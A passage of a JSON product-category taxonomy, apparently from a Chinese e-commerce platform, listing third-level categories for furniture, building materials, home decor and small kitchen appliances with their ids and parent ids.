,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26773,"name":"化妆镜","parent_cid":21086,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26752,"name":"其他","parent_cid":21086,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26351,"name":"插屏","parent_cid":21011,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26350,"name":"挂屏","parent_cid":21011,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26352,"name":"花窗","parent_cid":21011,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26349,"name":"折屏","parent_cid":21011,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26348,"name":"座屏","parent_cid":21011,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26796,"name":"布艺沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26794,"name":"充气沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32157,"name":"功能沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26772,"name":"贵妃椅","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26797,"name":"懒人沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26798,"name":"皮布沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26799,"name":"皮艺沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26771,"name":"沙发床","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26779,"name":"沙发凳/脚踏","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26817,"name":"沙发配件及辅料","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26795,"name":"实木沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26743,"name":"藤/竹沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26800,"name":"铁艺沙发","parent_cid":21085,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26157,"name":"藏箱/扣箱","parent_cid":20940,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26322,"name":"家用保险箱","parent_cid":20940,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26134,"name":"衣箱","parent_cid":20940,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26249,"name":"遮挡箱/钥匙盒","parent_cid":20940,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26133,"name":"其他","parent_cid":20940,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26132,"name":"餐桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26206,"name":"电脑桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26128,"name":"供桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26131,"name":"经桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26207,"name":"麻将桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26130,"name":"琴桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26129,"name":"棋桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26244,"name":"梳妆台/桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26127,"name":"书桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26205,"name":"折叠桌","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26269,"name":"桌子配件","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26268,"name":"其它桌类","parent_cid":20939,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26749,"name":"凳类","parent_cid":21082,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32156,"name":"电竞椅","parent_cid":21082,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26750,"name":"椅类","parent_cid":21082,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26780,"name":"坐具配件","parent_cid":21082,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26062,"name":"防盗窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26060,"name":"平开窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26050,"name":"纱窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26061,"name":"推拉窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26059,"name":"外悬窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26072,"name":"无框阳台窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26058,"name":"其它窗","parent_cid":20918,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26270,"name":"地板附件","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26317,"name":"地板革(PVC地板)","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32161,"name":"防火地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32163,"name":"隔音地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32162,"name":"漏缝地板/格栅地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26337,"name":"强化复合地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32160,"name":"软木地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26271,"name":"实木地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26336,"name":"实木复合地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26338,"name":"特殊用途地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26208,"name":"竹地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32164,"name":"其他地板","parent_cid":20941,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26569,"name":"低温电热辐射地暖系统","parent_cid":21053,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26568,"name":"低温热水辐射地暖","parent_cid":21053,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26566,"name":"暖气片/散热器","parent_cid":21053,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27197,"name":"电器模块","parent_cid":21231,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27381,"name":"集成吊顶套餐","parent_cid":21231,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27196,"name":"扣板模块","parent_cid":21231,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27198,"name":"配件模块","parent_cid":21231,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26273,"name":"楼梯扶手","parent_cid":20942,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26274,"name":"楼梯立柱","parent_cid":20942,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26323,"name":"楼梯踏步板","parent_cid":20942,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26275,"name":"缩颈龙骨","parent_cid":20942,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26272,"name":"整体楼梯","parent_cid":20942,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26067,"name":"防火门","parent_cid":20919,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26065,"name":"进户门","parent_cid":20919,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26066,"name":"门附件","parent_cid":20919,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26063,"name":"室内门","parent_cid":20919,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26064,"name":"庭院门","parent_cid":20919,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26051,"name":"移门","parent_cid":20919,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27768,"name":"储藏室空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32158,"name":"定制衣帽间","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27769,"name":"儿童房空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27767,"name":"健身房空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27737,"name":"酒窖空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27736,"name":"客厅空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27734,"name":"全屋净化系统","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27773,"name":"全屋空气调节系统","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27733,"name":"书房空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27735,"name":"卧室空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27682,"name":"阳光房定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27738,"name":"阳台空间定制","parent_cid":21385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27498,"name":"和室窗","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27512,"name":"和室几桌","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27499,"name":"和室门","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27497,"name":"和室椅","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27496,"name":"升降桌","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27513,"name":"榻榻米垫","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27532,"name":"榻榻米定制","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27533,"name":"榻榻米辅料","parent_cid":21347,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27644,"name":"炒菜机/烹饪锅","parent_cid":21397,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27684,"name":"电动醒酒器","parent_cid":21397,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27683,"name":"烹饪机器人","parent_cid":21397,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27650,"name":"爆米花机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27602,"name":"炒冰机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27604,"name":"电热炉","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27605,"name":"电蒸炉","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27606,"name":"豆芽机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27598,"name":"刨冰机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27603,"name":"烹饪锅","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27740,"name":"巧克力喷泉机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27642,"name":"切片机/切肉机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27600,"name":"削皮机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27601,"name":"早餐吧","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27599,"name":"制冰机","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27643,"name":"芝士炉/电烤盘","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27739,"name":"其它厨房家电","parent_cid":21390,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33898,"name":"防霉胶","parent_cid":33708,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33897,"name":"家用密封胶","parent_cid":33708,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33899,"name":"免钉胶","parent_cid":33708,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34201,"name":"强力速干胶","parent_cid":33708,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26957,"name":"插销","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27204,"name":"窗用配件","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26955,"name":"合页","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27203,"name":"家具五金","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26956,"name":"拉手","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27205,"name":"门用配件","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26927,"name":"绳/链/钩","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26958,"name":"锁具","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32159,"name":"智能门锁","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27328,"name":"其他五金件","parent_cid":21247,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27329,"name":"玻璃窗配件","parent_cid":21249,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27206,"name":"玻璃配件","parent_cid":21249,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27330,"name":"贴墙纸配件","parent_cid":21249,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27207,"name":"贴砖配件","parent_cid":21249,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26212,"name":"工业漆","parent_cid":20955,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26213,"name":"木器漆","parent_cid":20955,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26214,"name":"艺术漆","parent_cid":20955,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26068,"name":"多孔砖","parent_cid":20920,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26053,"name":"红砖","parent_cid":20920,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26069,"name":"轻质砖","parent_cid":20920,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26070,"name":"透水砖","parent_cid":20920,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26052,"name":"砖雕","parent_cid":20920,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27994,"name":"汽车香水/净化/降温剂","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27086,"name":"散香器","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21017,"name":"香包/香囊","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21035,"name":"香托/香盘/香座/香插","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28520,"name":"香薰/精油皂","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27209,"name":"香薰摆件","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27087,"name":"香薰灯/炉/器具","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27039,"name":"香薰DIY材料/工具","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28543,"name":"香薰精油","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27212,"name":"香薰蜡片","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27211,"name":"香薰蜡烛","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27210,"name":"香薰礼盒","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27213,"name":"香薰配件","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28548,"name":"香薰喷雾剂","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33029,"name":"香薰香料/线香","parent_cid":21259,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26224,"name":"标示贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26327,"name":"冰箱磁性贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26284,"name":"冰箱贴纸","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26171,"name":"瓷砖/玻璃贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26142,"name":"地贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26225,"name":"电脑贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26222,"name":"家具贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26228,"name":"镜面贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26223,"name":"开关贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26229,"name":"马桶贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26226,"name":"美缝贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26143,"name":"墙贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26227,"name":"衣柜贴","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26283,"name":"其他贴饰","parent_cid":20964,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26545,"name":"照片/画片","parent_cid":21049,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26548,"name":"照片墙","parent_cid":21049,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26815,"name":"标本类装饰画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26741,"name":"DIY/数字油画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26742,"name":"DIY亲子装饰画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26775,"name":"工艺画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26809,"name":"无框画挂钟","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26810,"name":"现代装饰画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26756,"name":"印刷版画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26754,"name":"印刷国画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26753,"name":"印刷书法","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26755,"name":"印刷油画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26808,"name":"其他印刷装饰画","parent_cid":21121,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27088,"name":"储物罐","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27014,"name":"果盘/果篓","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27092,"name":"饰品盒","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27089,"name":"装饰盆","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27090,"name":"装饰碗","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27333,"name":"装饰烟灰缸","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27334,"name":"装饰纸巾盒","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27303,"name":"装饰坐盘/挂盘","parent_cid":21261,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26340,"name":"厨房阀门系统","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33722,"name":"厨房挂件","parent_cid":20965,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26286,"name":"厨房龙头","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26339,"name":"厨房主材套装","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26160,"name":"厨盆/水槽","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26328,"name":"厨用垃圾桶","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26144,"name":"拉篮","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26145,"name":"米桶","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26287,"name":"商用厨房","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26288,"name":"水槽配件","parent_cid":20965,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33723,"name":"水槽配件","parent_cid":20965,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26344,"name":"其它厨房配用件","parent_cid":20965,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26232,"name":"玻化砖","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26334,"name":"瓷砖背景墙","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26341,"name":"瓷砖装饰附件","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26347,"name":"仿古砖(包括文化石)","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26235,"name":"马赛克","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26231,"name":"抛晶砖","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26233,"name":"通体砖","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26230,"name":"微晶石","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26234,"name":"釉面砖","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26333,"name":"其它类瓷砖","parent_cid":20969,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34198,"name":"管道阀门","parent_cid":34053,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_g